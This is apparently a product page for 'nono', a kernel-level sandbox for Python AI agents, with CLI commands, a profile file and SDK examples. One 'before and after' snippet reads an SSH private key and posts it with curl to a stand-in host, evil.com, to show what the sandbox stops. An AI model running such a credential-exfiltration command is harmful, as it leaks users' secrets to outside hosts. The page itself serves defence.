Python Isolation

Python Sandbox for AI Agents

Sandbox Python scripts, AI agents, and pip installs at the kernel level. nono's python_runtime security group covers pyenv, conda, pip, and venv paths — everything else is denied by default.

Why Python agents need kernel-level sandboxing

Python is the default language for AI agent frameworks, ML pipelines, and automation scripts. It is also one of the hardest runtimes to sandbox at the application level. subprocess, os.system, ctypes, and C extensions all provide direct paths to system calls that bypass any Python-level restriction. The gap between what a Python agent needs (project files, pip, network) and what it can access (SSH keys, cloud credentials, every file on disk) is enormous.

Application-level sandboxes for Python — restricted execution environments, import hooks, audit hooks — have a long history of being bypassed. Python's dynamic nature (eval, exec, importlib, pickle, arbitrary shared objects) means any restriction enforced within the process can be circumvented by code running in that same process.

How nono sandboxes Python

nono operates below the Python interpreter. It uses Landlock LSM on Linux and Windows (WSL2), and Seatbelt on macOS, to restrict what the entire process tree can access at the kernel level. By the time the Python interpreter starts, the sandbox is already applied. Every open(), subprocess.run(), and socket.connect() call passes through the kernel's enforcement layer before it can succeed.

It does not matter how the Python code tries to access a file — through the standard library, a C extension, ctypes, or a subprocess shelling out to cat. The kernel denies the operation if the path is not in the allow-list. Child processes inherit the same restrictions, so there is no escape through process spawning.

Enforcement architecture

Application-level sandbox
AI Agent
open(), exec(), connect()
Sandbox interceptor
Userspace process — can be bypassed
Kernel
Grants full access — no restrictions
Filesystem / Network
Fully accessible

Interception runs in userspace. A bug, race condition, or unexpected code path can bypass it.

Kernel-level enforcement (nono)
AI Agent
open(), exec(), connect()
Kernel + Landlock / Seatbelt / WSL2
Allow-list enforced at syscall boundary
Filesystem / Network
Only allowed paths reachable

No interception layer. The kernel enforces the allow-list directly. Irrevocable once applied.

Sandbox inheritance

nono run -- python agent.py
Applies kernel sandbox, then execs child
python agent.py
Sandboxed Python interpreter
subprocess.run(["bash", ...])
Inherits all restrictions
pip install ...
Inherits all restrictions

ctypes, C extensions, os.system — all restricted by the same kernel rules. No escape through any code path.

before and after
# Without nono: subprocess inherits full user permissions
import subprocess
key = open("/home/user/.ssh/id_rsa").read()
subprocess.run(["curl", "https://evil.com/exfil", "--data", key])
# This works. Nothing stops it.
# With nono: kernel denies access at the syscall level
# $ nono run --allow-cwd -- python agent.py
try:
key = open("/home/user/.ssh/id_rsa").read()
except PermissionError:
pass # EPERM — kernel blocked the open() syscall
# The file is inaccessible to the sandboxed process.
terminal
# Sandbox a Python AI agent with read-write to the project
nono run --allow-cwd -- python agent.py
# Restrict network to LLM API endpoints only
nono run --allow-cwd --network-profile minimal -- python agent.py
# Inject credentials from keychain (real keys never enter the sandbox)
nono run --allow-cwd --proxy-credential openai -- python agent.py
# Use a profile with the python_runtime security group
nono run --profile python-agent.json --allow-cwd -- python agent.py
# Sandbox a pip install to the project venv only
nono run --profile python-agent.json --allow-cwd -- pip install -r requirements.txt

The python_runtime security group

Python toolchains scatter files across the filesystem: pyenv shims in ~/.pyenv, conda environments in ~/miniconda3, pip caches in ~/.cache/pip, and virtualenvs within your project. A default-deny sandbox that blocks all of these makes Python unusable. One that allows too much defeats the purpose.

nono's python_runtime security group solves this by bundling the minimal set of paths needed for Python to function: pyenv, conda, pip cache, and system Python directories. Include the group in your profile and Python works. Everything outside those paths — your home directory, SSH keys, other projects — remains blocked.

profiles/python-agent.json
{
"meta": {
"name": "python-agent",
"version": "1.0.0",
"description": "Python AI agent with controlled access"
},
"security": {
"groups": ["python_runtime"]
},
"filesystem": {
"allow": ["$HOME/.cache/pip"],
"read_file": ["$HOME/.gitconfig"]
},
"network": {
"allow_hosts": ["api.openai.com", "api.anthropic.com"]
},
"workdir": { "access": "readwrite" },
"interactive": false
}

Composable with other groups

Security groups are composable. A Python agent that also runs Node.js build tools can include both python_runtime and node_runtime. Keep the allow-list narrow and credentials stay outside the sandbox automatically.

Each group is auditable — run nono profiles export python-agent to see exactly which paths are allowed.

Sandbox from within Python

The CLI wraps any command, but sometimes you need to apply the sandbox programmatically — for example, in an agent framework that bootstraps its own environment before restricting it. The nono Python SDK (pip install nono-py) provides PyO3 bindings to the same Rust core with two sandboxing modes: apply() to sandbox the current process (irrevocable), or sandboxed_exec() to run a command in a sandboxed child while the parent stays free.

The SDK also includes a network proxy with credential injection (real API keys stay outside the sandbox), filesystem snapshots with Merkle-verified rollback, and a policy engine for composable security profiles. Full type stubs are included for mypy and IDE autocompletion.

sandbox_agent.py
import nono_py as nono
# Self-sandbox: restrict the current process (irrevocable)
caps = nono.CapabilitySet()
caps.allow_path("./workspace", nono.AccessMode.READ_WRITE)
caps.allow_file("./config.json", nono.AccessMode.READ)
caps.block_network()
nono.apply(caps)
# Everything after this is sandboxed — subprocess, ctypes, all of it
# Or sandbox a child process (parent stays unsandboxed)
result = nono.sandboxed_exec(
caps,
["python", "untrusted_agent.py"],
cwd="./workspace",
timeout_secs=30
)
print(result.exit_code, result.stdout.decode())
proxy.py
import nono_py as nono
# Network proxy with credential injection
route = nono.RouteConfig(
prefix="/v1",
upstream="https://api.openai.com",
credential_key="openai_api_key",
inject_mode=nono.InjectMode.HEADER,
inject_header="Authorization",
credential_format="Bearer {credential}"
)
handle = nono.start_proxy(
nono.ProxyConfig(allowed_hosts=["api.openai.com"], routes=[route])
)
# Phantom tokens for the sandboxed process
print(handle.env_vars()) # {"HTTP_PROXY": "..."}
print(handle.credential_env_vars()) # {"OPENAI_API_KEY": "phantom-..."}
# Audit trail after the session
events = handle.drain_audit_events()
handle.shutdown()
snapshots.py
import nono_py as nono
# Snapshot before agent execution
exclusions = nono.ExclusionConfig(
use_gitignore=True,
exclude_patterns=["__pycache__", ".venv"]
)
mgr = nono.SnapshotManager("./workspace", exclusions)
mgr.create_baseline()
# ... agent modifies files ...
mgr.create_incremental()
for change in mgr.compute_restore_diff():
print(f"{change.change_type}: {change.path}")
# Roll back everything
mgr.restore_to(snapshot_number=0)

What the sandbox restricts

File I/O

open(), pathlib, shutil, and any C extension that calls read/write — all filtered at the syscall level. Only allowed paths succeed.

pip and package installs

pip install runs inside the sandbox. Packages can only write to allowed paths. Post-install scripts cannot access credentials or system files.

Network access

socket, requests, urllib, httpx — all network calls pass through kernel enforcement. Block entirely or route through nono's filtering proxy.

Subprocess escape

subprocess.run(), os.system(), os.exec() — all child processes inherit the sandbox. No escalation through shelling out.

Security properties

Below the interpreter

Enforcement happens at the kernel, not in Python. eval(), exec(), ctypes, and C extensions cannot bypass it.

Irrevocable

Once applied, the sandbox cannot be loosened — not by the agent, not by a subprocess, not by nono itself.

Inherited

Every child process spawned via subprocess, os.system, or os.exec inherits the same restrictions.

Zero overhead

Kernel-level enforcement with no runtime performance cost. No proxy layer between Python and the filesystem.

Get started with nono

Runtime safety infrastructure that works on macOS, Linux, Windows, and in CI.